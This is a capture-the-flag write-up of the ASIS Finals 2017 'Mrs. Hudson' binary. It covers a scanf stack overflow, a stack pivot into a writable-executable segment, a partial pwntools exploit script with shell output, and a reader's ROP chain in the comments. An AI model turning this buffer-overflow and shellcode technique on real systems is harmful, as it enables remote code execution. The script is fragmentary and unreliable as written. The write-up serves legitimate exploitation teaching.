ASIS Finals 2017 Mrs. Hudson Writeup

Solved by sherl0ck

In this challenge, the given binary was a non stripped 64-bit ELF executable.

Now, taking a look at the protections enabled :

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial

So no protections are enabled. That’s handy !

The code of this binary is really simple. It basically calls scanf to read a string onto an address in the current stack frame. Since there is no bounds checking happening there is an obvious buffer overflow. So we can overwrite the saved rbp and rip. Since ASLR is enabled we can’t, directly, perform a ret2libc attack or execute a shellcode present in the stack.

Now notice that at run time there is a segment with read-write-execute permissions.

Start                  End                  Perm

0x00601000    0x00602000    rwxp

So my plan was to use stack pivot to the segment with the rwx permission and then call the scanf statement, enter shellcode and then return to the shellcode, as the addresses in this  segment are constant. So first let’s take a look at the scanf part :

0x000000000040066f : lea rax,[rbp-0x70]
0x0000000000400673 : mov rsi,rax
0x0000000000400676 : mov edi,0x40072b
0x000000000040067b : mov eax,0x0
0x0000000000400680 : call 0x400520
0x0000000000400685 : leave
0x0000000000400686 : ret

So here’s the way in which I exploited this binary :-

  1. Overwrite saved rbp with an address in the r-w-x segment and saved rip with the address of scanf.
  2. Send in the shellcode and give the return address as the address of the shellcode (i.e the rbp (given in the above step) – 0x70)

And here’s the python script for the exploit –

from pwn import *
import sys

if len(sys.argv)>1:

rbp1=0x6010e0       # this lies in the r-w-x segment
scanf=0x40066f      # <main +85>: lea rax,[rbp-0x70]

payload='A'*0x70    # junk
payload+=p64(rbp1)  # overwrite the saved rbp
payload+=p64(scanf) # overwrite the saved rip

Now the rbp points to 0x6010e0 and rip to 0x40066f which sets the arguements for scanf.
After this the block of code with scanf and its arguements is executed again and we send the following as input.

payload=fit({0:shellcode},filler='\x90',length=0x70) # shellcode followed by nop instruction
payload+="A"*8          # let the saved rbp be junk
payload+=p64(0x601070)  # let the saved rip be the address of shellcode i.e rbp-0x70 = 0x601070

Now the value in rbp is 0x4141414141414141 and rip points to start of the shellcode.
After this block is executed the control shifts to shellcode thus executing it and giving a shell.

r.interactive()      # get your shell

And here’s the shell :-

$python 123
[+] Opening connection to on port 8642: Done
[*] Switching to interactive mode
Let’s go back to 2000.
$ cd home/frontofficemanager/
$ ls
$ cat flag
$ exit

So, the flag is –


2 thoughts on “ASIS Finals 2017 Mrs. Hudson Writeup

Add yours

  1. Great write up. But Im confused about one thing. After sent these payload

    “payload = ‘A’ * 0x78
    10 payload += p64(0x4006f3) # pop rdi ret;
    11 payload += p64(0x40072B) # %s format string
    12 payload += p64(0x4006f1) # pop rsi pop r15 ret;
    13 payload += p64(0x601000) # rwx segment
    14 payload += p64(0xaaaa) # r15 value
    15 payload += p64(0x400526) # scanf@plt
    16 payload += p64(0x601000) # rwx segmen”

    I debugged hudson binary. Here is stack frame.

    (gdb) x/32gx $rbp – 0x70
    0x7fffffffe110: 0x4141414141414141 0x4141414141414141
    0x7fffffffe120: 0x4141414141414141 0x4141414141414141
    0x7fffffffe130: 0x4141414141414141 0x4141414141414141
    0x7fffffffe140: 0x4141414141414141 0x4141414141414141
    0x7fffffffe150: 0x4141414141414141 0x4141414141414141
    0x7fffffffe160: 0x4141414141414141 0x4141414141414141
    0x7fffffffe170: 0x4141414141414141 0x4141414141414141
    0x7fffffffe180: 0x4141414141414141 0x06f140072b4006f3
    0x7fffffffe190: 0x400526aaaa601040 0x00007fffff006010
    0x7fffffffe1a0: 0x00000001f7ffcca0 0x000000000040061a
    0x7fffffffe1b0: 0x0000000000000000 0x53c94e7ff81e0051

    It looks like scanf function cant get \x00 byte. So p64(0x4006f3) + p64(0x40072B) gives 0x06f140072b4006f3. How the hell did rop chain work ? Saved RIP replaced 0x06f140072b4006f3. But actually this address didnt hold any instructions. Instead of giving segmentation fault error, How does it work ? Please explain this shit :p


    1. It looks like scanf function cant get \x00 byte

      scanf does read a null byte from the stdin. From the man page of scanf –

      The input string stops at white space or at the maximum field width, whichever occurs first.

      The null byte ‘\0’ is not considered a whitespace character. Thus p64(0x4006f3) is interpreted as “\xf3\x06\x40\x00\x00\x00\x00\x00”.


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